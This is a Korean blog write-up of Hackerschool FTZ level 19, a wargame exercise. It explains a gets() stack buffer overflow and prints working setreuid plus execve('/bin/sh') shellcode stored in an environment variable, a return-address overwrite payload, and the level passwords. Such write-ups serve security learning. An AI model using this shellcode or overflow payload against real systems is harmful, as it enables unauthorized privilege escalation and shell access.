티스토리 뷰
FTZ level19
pw : swimming in pink
레벨 19입니다.
먼저 hint를 보겠습니다.
간단합니다.
setuid도 걸려있지 않고 그냥 gets로만 입력을 받네요.
버퍼오버플로우가 발생합니다.
그냥 setuid 걸어주고 쉘코드를 이용하면 될 것 같습니다.
먼저 분석하겠습니다.
분석하기 위해서 tmp폴더로 파일을 옮기겠습니다.
gdb로 분석을 해주겠습니다.
보기편한 intel방식을 사용하겠습니다.
main의 어셈블리 코드입니다.
스택프레임이 0x28만큼 구성되어있습니다.
0x28은
10진수로 40입니다.
ebp-40부터 입력을 받습니다.
따라서 esp부터 입력을 받는군요.
그러면
buf 40 + sfp + ret
이렇게 될 것 같습니다.
그럼 bof로 sfp까지 덮어준 뒤 ret을 조작해주면 될 것 같습니다.
쉘코드는 환경변수에 저장해놓겠습니다.
그리고 setreuid가 적용되어있지 않기 때문에
setreuid를 적용해주는 쉘코드 (16바이트) 와 쉘코드 (25바이트)를 합쳐서 공격하겠습니다.
export SH=$(python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
\x90은 여유롭게 100개 정도 넣었습니다.
그리고 환경변수의 주소를 구하겠습니다
getenv함수로 환경변수의 주소를 구할 수 있습니다.
컴파일을 해줍니다.
주소가 나옵니다.
이제 바로 payload를 짜보겠습니다.
(python -c 'print "a"*44+"\x5c\xfe\xff\xbf"';cat) | ./attackme
gets로 입력을 받으니 |파이프 명령을 통해서 값을 넘겨줘야 합니다.
tmp파일에 공격을 해보겠습니다.
쉘이 실행되었습니다.
실제 파일에 공격을 해보겠습니다.
권한을 얻었습니다.
Level20 Password is "we are just regular guys".
'pwnable > FTZ' 카테고리의 다른 글
[Hackerschool FTZ] Level18 write-up (0) | 2018.01.18 |
---|---|
[Hackerschool FTZ] Level17 write-up (0) | 2018.01.17 |
[Hackerschool FTZ] Level16 write-up (0) | 2018.01.15 |
[Hackerschool FTZ] Level15 write-up (0) | 2018.01.15 |
[Hackerschool FTZ] Level14 write-up (0) | 2018.01.15 |
- hacking
- srop
- pwnable
- tcache
- codegate
- glibc
- FSB
- ebp change
- 해킹
- HackCTF
- shellcoding
- stack reusing
- pwnable.tw
- fsop
- fastbin
- oob
- fastbindup
- 본선가고싶다
- rt_sigreturn
- pwable
- exit
- TLS
- overflow
- heap
- SQLi
- Total
- Today
- Yesterday